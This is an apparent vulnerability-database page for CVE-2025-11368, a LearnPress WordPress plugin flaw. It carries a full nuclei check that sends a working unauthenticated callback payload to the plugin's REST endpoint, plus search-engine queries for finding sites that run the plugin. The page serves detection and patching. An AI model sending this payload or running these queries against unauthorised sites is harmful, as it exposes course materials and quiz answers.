HexBrain

Browse / CVEs / CVE-2025-11368

CVE-2025-11368· thimpress / learnpress· CWE-200

LearnPress < 4.3.0 - Arbitrary Callback Execution to Information Exposure

mediumseverity
5.3CVSS score
1%likelihood of exploitation, next 30 days
65%of all CVEs are less likely
Readycheck to confirm it

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Sensitive Information Disclosure in all versions up to, and including, 4.2.9.4. This is due to missing capability checks in the REST endpoint /wp-json/lp/v1/load_content_via_ajax which allows arbitrary callback execution of admin-only template methods. This makes it possible for unauthenticated attackers to retrieve admin curriculum HTML, quiz questions with correct answers, course materials, and other sensitive educational content via the REST API endpoint granted they can supply valid numeric IDs.

Impact

Unauthenticated attackers can access sensitive admin curriculum, quiz answers, and course materials, compromising educational content confidentiality.

Fix

Update to the latest version beyond 4.2.9.4.

How to confirm it

Send: POST {{BaseURL}}/wp-json/lp/v1/load_content_via_ajax
Positive when: contains "\"status\":\"success\"" AND contains "course-item" or "course-title" or "course-permalink" or "learn-press-courses" AND status 200

Run it with nuclei: nuclei -id CVE-2025-11368 -u <target>

The full check
id: CVE-2025-11368

info:
  name: LearnPress < 4.3.0 - Arbitrary Callback Execution to Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Sensitive Information Disclosure in all versions up to, and including, 4.2.9.4. This is due to missing capability checks in the REST endpoint /wp-json/lp/v1/load_content_via_ajax which allows arbitrary callback execution of admin-only template methods. This makes it possible for unauthenticated attackers to retrieve admin curriculum HTML, quiz questions with correct answers, course materials, and other sensitive educational content via the REST API endpoint granted they can supply valid numeric IDs.
  impact: |
    Unauthenticated attackers can access sensitive admin curriculum, quiz answers, and course materials, compromising educational content confidentiality.
  remediation: Update to the latest version beyond 4.2.9.4.
  reference:
    - https://wpscan.com/vulnerability/5c40d803-87b3-437b-b514-1e85b43371a0/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-11368
    epss-score: 0.01046
    epss-percentile: 0.64469
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/learnpress/"
    fofa-query: body="/wp-content/plugins/learnpress/"
    shodan-query: http.html:"/wp-content/plugins/learnpress/"
  tags: cve,cve2025,wordpress,wp-scan,wp-plugin,wp-scan,learnpress,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-json/lp/v1/load_content_via_ajax"

    headers:
      Content-Type: application/json

    body: '{"callback":{"class":"LearnPress\\TemplateHooks\\Course\\ListCoursesTemplate","method":"render_courses"},"args":{}}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":"success"'

      - type: word
        part: body
        words:
          - 'course-item'
          - 'course-title'
          - 'course-permalink'
          - 'learn-press-courses'
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: course_title
        part: body
        regex:
          - "course-title['\"]>([^<]+)<"
        group: 1

      - type: regex
        name: course_count
        part: body
        regex:
          - 'course-count-lesson[^>]*>([^<]+)<'
        group: 1

References

Use this check only on systems you are authorised to test. Where the data comes from